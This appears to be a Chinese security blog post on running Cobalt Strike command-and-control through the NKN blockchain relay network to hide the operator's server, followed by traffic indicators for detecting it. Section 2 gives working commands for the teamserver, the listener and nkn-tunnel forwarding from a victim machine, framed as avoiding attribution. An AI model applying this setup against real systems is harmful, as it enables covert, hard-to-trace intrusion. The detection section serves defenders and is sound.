CobaltStrike 区块链网络上线方式及检测

渗透技巧 2年前 (2022) admin
847 0 0

最近,看到有人研究了基于NKN区块链网络的CS上线方式,觉得很有意思,作者也打算验证一下,看看这种上线方式的优缺点,顺便研究一下有没有流量特征可供检测。


1.NKN网络介绍


NKN是一个点对点(peer-to-peer)去中心化网络,旨在颠覆传统的中心化的客户端-服务器模式互联网和通信网络,这种模式成本高昂、效率低下,并且容易受到攻击。通过在现有TCP/IP的基础上加入区块链层,NKN旨在帮助利用未使用的带宽和数据,这些带宽和数据通常在不同的用户之间低效地分布,从而允许个人和大型isp更好地优化数据使用,以提高网络速度和降低成本。可以用下面的图来理解NKN网络的作用:提供基于区块链模式的端到端传输网络能力

CobaltStrike 区块链网络上线方式及检测

用户可以将数据发送到NKN网络,通过大量的节点进行转发,不用考虑节点是服务器、路由器甚至PC机,直到数据被接收者接收。

CobaltStrike 区块链网络上线方式及检测

因此基于这种技术,可以不需要vps搭建CS搭建服务端,便可进行端到端的通信。这种方法和基于云函数的上线方式有相似之处,都是基于其他第三方网络进行转发,不会泄露攻击者的vps地址等信息,防止被溯源。


2.NKN网络上线流程


环境及工具准备:

nkn-tunnelcobaltstrike4.0

2.1 本地监听teamserver

在本机上启动teamserver服务端,监听内网ip地址即可

teamserver.bat 192.168.0.4 justttest111

CobaltStrike 区块链网络上线方式及检测


2.2 连接cs并创建listener

cs客户端连接本机的服务端,host为127.0.0.1CobaltStrike 区块链网络上线方式及检测

创建listener如下,其中192.168.0.4 为本机内网ip,443为cs服务端本地监听的端口,8081为木马需要连接的端口。CobaltStrike 区块链网络上线方式及检测


2.3 nkn流量转发

下载nkn-tunnel (https://github.com/nknorg/nkn-tunnel/releases/tag/v0.3.0 ),在本机上执行如下命令

nkn-tunnel -from nkn -to 127.0.0.1:443 -v

意思是将nkn网络的流量转发到本机的127.0.0.1:443,此时会生成一段64位seed:969c01125a876b214f1964edabecb4f59d3cdeb825309a6c71c4a1e4a306da58,这个seed可以自己设定,也可以随机生成。CobaltStrike 区块链网络上线方式及检测

在受害机器上执行,即将本机127.0.0.1:8081的流量转发到nkn网络seed为969c01125a876b214f1964edabecb4f59d3cdeb825309a6c71c4a1e4a306da58的端。

nkn-tunnel.exe -from 127.0.0.1:8081 -to 969c01125a876b214f1964edabecb4f59d3cdeb825309a6c71c4a1e4a306da58

CobaltStrike 区块链网络上线方式及检测


2.4 执行恶意程序上线

这时,在受害机器上执行cs生成的beacon.exe,可以看到本机上已经接收到了来自受害机的流量请求。

CobaltStrike 区块链网络上线方式及检测

可以正常地执行命令,并且延时也还不错。在整个过程中,没有使用有外网ip的vps搭建cs的server端,这个能很有效地防溯源。

CobaltStrike 区块链网络上线方式及检测


3.流量特征及检测

有攻就有防,利用这种方式进行上线,虽然比较简单并且不需要vps,但我们也要看看其是否会有比较明显的特征。

首先看console,会有提示向http://seed.nkn.org:30003发起的POST请求,以及与节点 x.x.x.x:30002的tcp连接。

CobaltStrike 区块链网络上线方式及检测

我们利用wireshark抓一下,nkn-tunnel连接到官方站点以及后续跟节点通信的数据包。首先是与seed.nkn.org的http请求,明显看到seed.nkn.org的域名,端口为30003,请求体中有”getwsaddr”等字符串特征,在响应体中返回了具体通信的节点地址、id、公钥等信息。

CobaltStrike 区块链网络上线方式及检测

再看看与节点通信的数据包,会发起http请求后切换到websocket协议,随后一直以tcp和websocket进行通信。

CobaltStrike 区块链网络上线方式及检测

查看具体的通信内容,可以发现请求部分为加密,响应内容部分可读,包含控制机的seed。

CobaltStrike 区块链网络上线方式及检测

因此,对此种方式的上线特征还是比较明显的,可以从流量方向入手从以下3个方面:

  • 受害机向seed.nkn.org:30003发起请求,获取节点地址等相关信息,并且请求体及响应中包含如getwsaddr、rpcAddr等关键字

  • 受害机向节点的30002端口发起http、websocket请求

  • 受害者与节点的通信内容会包含如”F__3__.64位seed”格式信息(默认),并且包含sigChainBlockHash、updateSigChainBlockHash等关键字

综上所述,如果使用nkn-tunnel+cs直接上线确实可以避免被直接溯源,而且节省了vps资源,但也会有比较明显的特征,在没有使用nkn网络的企业中,这些特征是非常明显的,很容易被流量设备识别到。


参考文章:

一个基于区块链网络的匿名远控

https://maka8ka.cc/post/%E4%B8%80%E4%B8%AA%E5%9F%BA%E4%BA%8E%E5%8C%BA%E5%9D%97%E9%93%BE%E7%BD%91%E7%BB%9C%E7%9A%84%E5%8C%BF%E5%90%8D%E8%BF%9C%E6%8E%A7/

去中心化上线CS

https://hosch3n.github.io/2021/11/10/%E5%8E%BB%E4%B8%AD%E5%BF%83%E5%8C%96%E4%B8%8A%E7%BA%BFCS/

原文始发于微信公众号(毕方安全实验室):CobaltStrike 区块链网络上线方式及检测

版权声明:admin 发表于 2022年2月9日 上午9:03。
转载请注明:CobaltStrike 区块链网络上线方式及检测 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...